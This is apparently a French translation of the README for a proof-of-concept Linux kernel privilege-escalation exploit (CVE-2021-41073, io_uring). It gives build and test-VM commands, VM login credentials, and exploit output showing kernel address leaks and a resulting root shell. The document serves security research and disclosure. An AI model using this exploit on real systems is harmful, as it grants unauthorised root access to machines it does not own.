
Exploit d'élévation de privilèges locale pour CVE-2021-41073, une vulnérabilité de confusion de types io_uring dans le noyau Linux, permettant d'obtenir les droits root sur les configurations par défaut.
Exploit LPE pour la vulnérabilité de confusion de types io_uring CVE-2021-41073.
Consultez l'article Put an io_uring on it: Exploiting the Linux Kernel.
auteur : @chompie1337
Uniquement à des fins éducatives/de recherche. Ne pas utiliser pour des tests ou des évaluations de sécurité.
Pour compiler (nécessite liburing) :
gcc -o hello hello.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`
gcc -I include/ -o exploit exploit.c bpf.c -l:liburing.a -lpthread
J'ai fourni une VM de test avec un noyau 5.15-rc1 pour tester/exécuter l'exploit.
Pour démarrer la VM, extrayez l'archive test_vm et exécutez :
qemu-system-x86_64 -m 2G -smp 2 -kernel /path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/bzImage -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" -drive file=/path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/stretch.img,format=raw -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 -net nic,model=e1000 -nographic -pidfile vm.pid 2>&1 | tee vm.log
Connectez-vous en SSH à la machine en tant qu'utilisateur non privilégié :
ssh -p 10021 hi@localhost
mot de passe : lol
Pour exécuter :
$ ./exploit
[+] set/getxattr file created
[+] bpf program loaded created
[+] FUSE maps created
[+] opened /proc/self/maps
[+] io_uring initialized
[+] spraying kmalloc-32 cache with io_buffer structs!!
[!] vuln trigger #1 for task_struct leak
[+] task_struct: ffff90740554c4c0
[!] vuln trigger #2 for KASLR leak
[!] single_next: ffffffffb2064520
[!] vuln trigger #3 for cache ptr leak
[+] fake bpf_prog: ffff9074056aacb0
[!] vuln trigger #4 to overwrite socket filter
[+] it worked! have a r00t shell :)
Parfois, 3 à 4 tentatives sont nécessaires pour parcourir toute la séquence de l'exploit. Redémarrez la VM après chaque tentative d'exploit. Des travaux futurs peuvent améliorer cet exploit ; les techniques sont décrites dans l'article. La publication du PoC a pour seul but de partager des connaissances avec d'autres chercheurs et ceux qui souhaitent en apprendre davantage sur l'exploitation avancée du noyau.
Cet exploit est une PREUVE DE CONCEPT pour les techniques abordées dans l'article de blog, et permet d'obtenir une élévation de privilèges locale sur le noyau Linux 5.15-rc-1 avec les configurations par défaut. Mon intention n'est pas d'adapter un exploit et de l'armer pour qu'il fonctionne avec toutes les versions affectées de Linux. J'ai fourni le code pour démontrer la plupart des techniques abordées, et j'ai créé et documenté les techniques nécessaires pour contourner diverses mitigations que certaines distributions peuvent activer dans l'article de blog associé.
Les configurations du noyau utilisées dans la VM de test fournie se trouvent dans le dossier test_vm si vous souhaitez travailler avec un noyau compilé sur mesure. Si vous souhaitez contribuer, les pull requests sont les bienvenues :)
Cette recherche a été sponsorisée par Grapl.